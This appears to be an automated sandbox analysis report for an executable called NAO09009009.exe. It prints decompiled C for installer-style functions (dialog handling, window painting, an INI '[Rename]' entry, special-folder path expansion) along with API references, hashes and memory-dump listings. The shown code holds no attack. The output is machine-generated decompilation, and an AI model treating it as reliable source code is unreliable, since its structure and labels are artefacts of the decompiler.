Instruction ID: 474293f91904d384e756f83d9200f154ec1a476d51ccc5c10f5d023ba508d08e
Opcode Fuzzy Hash: ad2877bd5c4ea7cc256e3088b2b3c42cb38b7d734cc530d92285f8f03c2605ef
Instruction Fuzzy Hash: 17C1B1B1600604FBCB216F61EE85E2A7BB8EB84705F40497EF741B51F1CB3958529B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00404651, Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404651(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x421714 =  *0x421714 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E004044F9(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x428200;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E00404900(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x42a268, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x42a268, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x421714 != 0) {
						goto L27;
					} else {
						_t116 =  *0x422720 + 0x14;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E004044B4(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E004048DC();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x42923c - 4 + _t75 * 4);
				}
				_t76 =  *0x42a2b8 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E00404602;
				if(_t110 != 2) {
					_v8 = E004045C8;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E00404492(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E00404492(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E004044B4( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E004044C7(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x42a274 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x421714 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x421714 = 0;
				return 0;
			}

0x00404663
0x00404790
0x004047ed
0x004047f1
0x004048be
0x004048c0
0x004048c0
0x004048c6
0x004048c6
0x004048c9
0x00000000
0x004048d0
0x004047ff
0x00404805
0x0040480f
0x0040481a
0x0040481d
0x00404820
0x0040482b
0x0040482e
0x00404835
0x00404842
0x00404853
0x00404859
0x00404861
0x0040486f
0x00404875
0x00404875
0x00404835
0x0040487f
0x00000000
0x0040488a
0x0040488e
0x0040489e
0x0040489e
0x004048a4
0x004048b0
0x004048b0
0x00000000
0x004048b4
0x0040487f
0x0040479b
0x00000000
0x004047ad
0x004047b2
0x004047b8
0x00000000
0x00000000
0x004047e1
0x004047e3
0x004047e8
0x00000000
0x004047e8
0x0040479b
0x00404669
0x0040466c
0x00404671
0x00404682
0x00404682
0x0040468a
0x0040468d
0x00404691
0x00404694
0x00404698
0x0040469b
0x0040469e
0x004046a1
0x004046a8
0x004046aa
0x004046aa
0x004046b4
0x004046c1
0x004046cb
0x004046d0
0x004046d3
0x004046d8
0x004046ef
0x004046f6
0x00404709
0x0040470c
0x00404720
0x00404727
0x0040472c
0x00404731
0x00404731
0x0040473f
0x0040474d
0x0040475f
0x00404764
0x00404774
0x00404776
0x00000000

APIs

CheckDlgButton.USER32 ref: 004046EF
GetDlgItem.USER32 ref: 00404703
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404720
GetSysColor.USER32(?), ref: 00404731
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040473F
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040474D
lstrlenW.KERNEL32(?), ref: 00404752
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040475F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404774
GetDlgItem.USER32 ref: 004047CD
SendMessageW.USER32(00000000), ref: 004047D4
GetDlgItem.USER32 ref: 004047FF
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404842
LoadCursorW.USER32(00000000,00007F02), ref: 00404850
SetCursor.USER32(00000000), ref: 00404853
LoadCursorW.USER32(00000000,00007F00), ref: 0040486C
SetCursor.USER32(00000000), ref: 0040486F
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040489E
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048B0

Strings

N, xrefs: 004047ED
KXCJDFJSKF, xrefs: 0040482E

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: KXCJDFJSKF$N
API String ID: 3103080414-3315232752
Opcode ID: 109bfc3f4ae54697b435cbc64e06ea45ef072446bfa87c0e9d4d0ff38833786b
Instruction ID: 9740ae806e86bdd9a5d1823962a5ed5927fd13c96e858ba55e5d087808badbab
Opcode Fuzzy Hash: 109bfc3f4ae54697b435cbc64e06ea45ef072446bfa87c0e9d4d0ff38833786b
Instruction Fuzzy Hash: EE6193B1900209FFDB10AF60DD85E6A7B69FB84314F00853AFA05B62D1D7789D51CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00406188, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406188(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x426de8 = 0x55004e;
				 *0x426dec = 0x4c;
				if(_t44 == 0) {
					L3:
					_t2 = _t52 + 0x1c; // 0x4275e8
					_t12 = GetShortPathNameW( *_t2, 0x4275e8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x4269e8, "%ls=%ls\r\n", 0x426de8, 0x4275e8);
						_t53 = _t52 + 0x10;
						E00406579(_t37, 0x400, 0x4275e8, 0x4275e8,  *((intOrPtr*)( *0x42a274 + 0x128)));
						_t12 = E00406032(0x4275e8, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E004060B5(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405F97(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405F97(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405FED(_t24 + _t46, 0x4269e8, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E004060E4(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00406032(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x426de8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00406188
0x00406191
0x00406198
0x004061a2
0x004061b6
0x004061de
0x004061e5
0x004061e9
0x004061ed
0x0040620d
0x00406214
0x0040621e
0x0040622b
0x00406230
0x00406235
0x00406239
0x00406248
0x0040624a
0x00406257
0x0040625b
0x004062f6
0x00000000
0x00406271
0x0040627e
0x004062a2
0x004062a6
0x004062c5
0x004062c9
0x004062c9
0x004062cb
0x004062d4
0x004062df
0x004062ea
0x004062f0
0x00000000
0x004062f0
0x004062a8
0x004062ab
0x004062b6
0x004062b2
0x004062b4
0x004062b5
0x004062b5
0x004062bd
0x004062bf
0x00000000
0x004062bf
0x00406289
0x0040628f
0x00000000
0x0040628f
0x0040625b
0x00406239
0x004061b8
0x004061c3
0x004061cc
0x004061d0
0x00000000
0x00000000
0x004061d0
0x00406301

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406323,?,?), ref: 004061C3
GetShortPathNameW.KERNEL32 ref: 004061CC

Part of subcall function 00405F97: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA7
Part of subcall function 00405F97: lstrlenA.KERNEL32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD9

GetShortPathNameW.KERNEL32 ref: 004061E9
wsprintfA.USER32 ref: 00406207
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406242
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406251
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406289
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 004062DF
GlobalFree.KERNEL32 ref: 004062F0
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062F7

Part of subcall function 00406032: GetFileAttributesW.KERNELBASE(00000003,004030AB,C:\Users\user\Desktop\NAO09009009.exe,80000000,00000003), ref: 00406036
Part of subcall function 00406032: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

Strings

%ls=%ls, xrefs: 004061FD
mB, xrefs: 004061B1
uB, xrefs: 004061DE
uB, xrefs: 004061E5
[Rename], xrefs: 00406271, 00406283

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$mB$uB$uB
API String ID: 2171350718-2295842750
Opcode ID: 1370db5916d635a3eaa8287a3a8568cfa6b7ad2c16bbfcffe5a040e030d3314f
Instruction ID: 390cd084817c4cf50855a9647c10840f2cfe6cacc919d204b2e4a530669b52c0
Opcode Fuzzy Hash: 1370db5916d635a3eaa8287a3a8568cfa6b7ad2c16bbfcffe5a040e030d3314f
Instruction Fuzzy Hash: FB312231200715BBC2207B659E49F5B3A9CEF41754F16007FBA42F62C2EA3CD82586BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x42a274;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x429260, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x42a268;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: dccf31a386450978f6a467bb1a2dd48e69ee6b81a70d351153b8e89f54c6a922
Instruction ID: 0f43a076eda42f240989ba3bcaaa7122e90b548761b3bfdbbaf4c3cca9648f62
Opcode Fuzzy Hash: dccf31a386450978f6a467bb1a2dd48e69ee6b81a70d351153b8e89f54c6a922
Instruction Fuzzy Hash: CF418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7389A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406579, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00406579(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t43;
				WCHAR* _t44;
				signed char _t46;
				signed int _t47;
				signed int _t48;
				short _t58;
				short _t60;
				short _t62;
				void* _t70;
				signed int _t76;
				void* _t82;
				signed char _t83;
				short _t86;
				signed int _t96;
				void* _t102;
				short _t103;
				signed int _t106;
				signed int _t108;
				void* _t109;
				WCHAR* _t110;
				void* _t112;

				_t109 = __esi;
				_t102 = __edi;
				_t70 = __ebx;
				_t43 = _a8;
				if(_t43 < 0) {
					_t43 =  *( *0x42923c - 4 + _t43 * 4);
				}
				_push(_t70);
				_push(_t109);
				_push(_t102);
				_t96 =  *0x42a2b8 + _t43 * 2;
				_t44 = 0x428200;
				_t110 = 0x428200;
				if(_a4 >= 0x428200 && _a4 - 0x428200 >> 1 < 0x800) {
					_t110 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t103 =  *_t96;
					if(_t103 == 0) {
						break;
					}
					__eflags = (_t110 - _t44 & 0xfffffffe) - 0x800;
					if((_t110 - _t44 & 0xfffffffe) >= 0x800) {
						break;
					}
					_t82 = 2;
					_t96 = _t96 + _t82;
					__eflags = _t103 - 4;
					_a8 = _t96;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t110 = _t103;
							_t110 = _t110 + _t82;
							__eflags = _t110;
						} else {
							 *_t110 =  *_t96;
							_t110 = _t110 + _t82;
							_t96 = _t96 + _t82;
						}
						continue;
					}
					_t83 =  *((intOrPtr*)(_t96 + 1));
					_t46 =  *_t96;
					_t47 = _t46 & 0x000000ff;
					_v8 = (_t83 & 0x0000007f) << 0x00000007 | _t46 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t47 | 0x00008000;
					_v24 = _t47;
					_t76 = _t83 & 0x000000ff;
					_v16 = _t76;
					__eflags = _t103 - 2;
					_v20 = _t76 | 0x00008000;
					if(_t103 != 2) {
						__eflags = _t103 - 3;
						if(_t103 != 3) {
							__eflags = _t103 - 1;
							if(_t103 == 1) {
								__eflags = (_t47 | 0xffffffff) - _v8;
								E00406579(_t76, _t103, _t110, _t110, (_t47 | 0xffffffff) - _v8);
							}
							L43:
							_t48 = lstrlenW(_t110);
							_t96 = _a8;
							_t110 =  &(_t110[_t48]);
							_t44 = 0x428200;
							continue;
						}
						_t106 = _v8;
						__eflags = _t106 - 0x1d;
						if(_t106 != 0x1d) {
							__eflags = (_t106 << 0xb) + 0x42b000;
							E0040653C(_t110, (_t106 << 0xb) + 0x42b000);
						} else {
							E00406483(_t110,  *0x42a268);
						}
						__eflags = _t106 + 0xffffffeb - 7;
						if(_t106 + 0xffffffeb < 7) {
							L34:
							E004067EB(_t110);
						}
						goto L43;
					}
					_t86 =  *0x42a26c;
					__eflags = _t86;
					_t108 = 2;
					if(_t86 >= 0) {
						L13:
						_v8 = 1;
						L14:
						__eflags =  *0x42a304;
						if( *0x42a304 != 0) {
							_t108 = 4;
						}
						__eflags = _t47;
						if(__eflags >= 0) {
							__eflags = _t47 - 0x25;
							if(_t47 != 0x25) {
								__eflags = _t47 - 0x24;
								if(_t47 == 0x24) {
									GetWindowsDirectoryW(_t110, 0x400);
									_t108 = 0;
								}
								while(1) {
									__eflags = _t108;
									if(_t108 == 0) {
										goto L30;
									}
									_t58 =  *0x42a264;
									_t108 = _t108 - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										L26:
										_t60 = SHGetSpecialFolderLocation( *0x42a268,  *(_t112 + _t108 * 4 - 0x18),  &_v12);
										__eflags = _t60;
										if(_t60 != 0) {
											L28:
											 *_t110 =  *_t110 & 0x00000000;
											__eflags =  *_t110;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v12, _t110);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t60;
										if(_t60 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L26;
									}
									_t62 =  *_t58( *0x42a268,  *(_t112 + _t108 * 4 - 0x18), 0, 0, _t110);
									__eflags = _t62;
									if(_t62 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryW(_t110, 0x400);
							goto L30;
						} else {
							E0040640A( *0x42a2b8, __eflags, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x42a2b8 + (_t47 & 0x0000003f) * 2, _t110, _t47 & 0x00000040);
							__eflags =  *_t110;
							if( *_t110 != 0) {
								L32:
								__eflags = _t76 - 0x1a;
								if(_t76 == 0x1a) {
									lstrcatW(_t110, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L34;
							}
							E00406579(_t76, _t108, _t110, _t110, _t76);
							L30:
							__eflags =  *_t110;
							if( *_t110 == 0) {
								goto L34;
							}
							_t76 = _v16;
							goto L32;
						}
					}
					__eflags = _t86 - 0x5a04;
					if(_t86 == 0x5a04) {
						goto L13;
					}
					__eflags = _t76 - 0x23;
					if(_t76 == 0x23) {
						goto L13;
					}
					__eflags = _t76 - 0x2e;
					if(_t76 == 0x2e) {
						goto L13;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L14;
					}
				}
				 *_t110 =  *_t110 & 0x00000000;
				if(_a4 == 0) {
					return _t44;
				}
				return E0040653C(_a4, _t44);
			}

0x00406579
0x00406579
0x00406579
0x0040657f
0x00406584
0x00406595
0x00406595
0x0040659d
0x0040659e
0x0040659f
0x004065a0
0x004065a3
0x004065ab
0x004065ad
0x004065c6
0x004065c9
0x004065c9
0x004067c5
0x004067c5
0x004067cb
0x00000000
0x00000000
0x004065d9
0x004065df
0x00000000
0x00000000
0x004065e7
0x004065e8
0x004065ea
0x004065ee
0x004065f1
0x004067b2
0x004067c0
0x004067c3
0x004067c3
0x004067b4
0x004067b7
0x004067ba
0x004067bc
0x004067bc
0x00000000
0x004067b2
0x004065f7
0x004065fa
0x00406609
0x00406610
0x0040661a
0x0040661e
0x00406621
0x00406624
0x00406629
0x0040662e
0x00406632
0x00406635
0x00406755
0x00406759
0x0040678c
0x00406790
0x00406795
0x0040679a
0x0040679a
0x0040679f
0x004067a0
0x004067a5
0x004067a8
0x004067ab
0x00000000
0x004067ab
0x0040675b
0x0040675e
0x00406761
0x00406776
0x0040677d
0x00406763
0x0040676a
0x0040676a
0x00406785
0x00406788
0x0040674d
0x0040674e
0x0040674e
0x00000000
0x00406788
0x0040663b
0x00406643
0x00406645
0x00406646
0x0040665f
0x0040665f
0x00406666
0x00406666
0x0040666d
0x00406671
0x00406671
0x00406672
0x00406674
0x004066af
0x004066b2
0x004066c2
0x004066c5
0x004066cd
0x004066d3
0x004066d3
0x00406730
0x00406730
0x00406732
0x00000000
0x00000000
0x004066d7
0x004066de
0x004066df
0x004066e1
0x004066fb
0x00406709
0x0040670f
0x00406711
0x0040672c
0x0040672c
0x0040672c
0x00000000
0x0040672c
0x00406717
0x00406722
0x00406728
0x0040672a
0x00000000
0x00000000
0x00000000
0x0040672a
0x004066e3
0x004066e6
0x00000000
0x00000000
0x004066f5
0x004066f7
0x004066f9
0x00000000
0x00000000
0x00000000
0x004066f9
0x00000000
0x00406730
0x004066ba
0x00000000
0x00406676
0x00406694
0x00406699
0x0040669d
0x0040673d
0x0040673d
0x00406740
0x00406748
0x00406748
0x00000000
0x00406740
0x004066a5
0x00406734
0x00406734
0x00406738
0x00000000
0x00000000
0x0040673a
0x00000000
0x0040673a
0x00406674
0x00406648
0x0040664d
0x00000000
0x00000000
0x0040664f
0x00406652
0x00000000
0x00000000
0x00406654
0x00406657
0x00000000
0x00406659
0x00406659
0x00000000
0x00406659
0x00406657
0x004067d1
0x004067dc
0x004067e8
0x004067e8
0x00000000

APIs

GetSystemDirectoryW.KERNEL32(KXCJDFJSKF,00000400), ref: 004066BA
GetWindowsDirectoryW.KERNEL32(KXCJDFJSKF,00000400,00000000,00422728,?,004055DB,00422728,00000000), ref: 004066CD
SHGetSpecialFolderLocation.SHELL32(004055DB,00000000,00000000,00422728,?,004055DB,00422728,00000000), ref: 00406709
SHGetPathFromIDListW.SHELL32(00000000,KXCJDFJSKF), ref: 00406717
CoTaskMemFree.OLE32(00000000), ref: 00406722
lstrcatW.KERNEL32(KXCJDFJSKF,\Microsoft\Internet Explorer\Quick Launch), ref: 00406748
lstrlenW.KERNEL32(KXCJDFJSKF,00000000,00422728,?,004055DB,00422728,00000000), ref: 004067A0

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406742
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040668A
KXCJDFJSKF, xrefs: 004065A3, 0040667E, 00406685, 00406689, 004066A3, 004066A4, 004066B9, 004066CC, 004066E8, 00406713, 00406747, 0040674D, 00406769, 0040677C, 00406799, 0040679F, 004067AB, 004067DE

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: KXCJDFJSKF$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-2443651505
Opcode ID: 461394275e41b2543b5fd82fcf6b9832f1e7dc77c54885fbf13ec40e6163d1f3
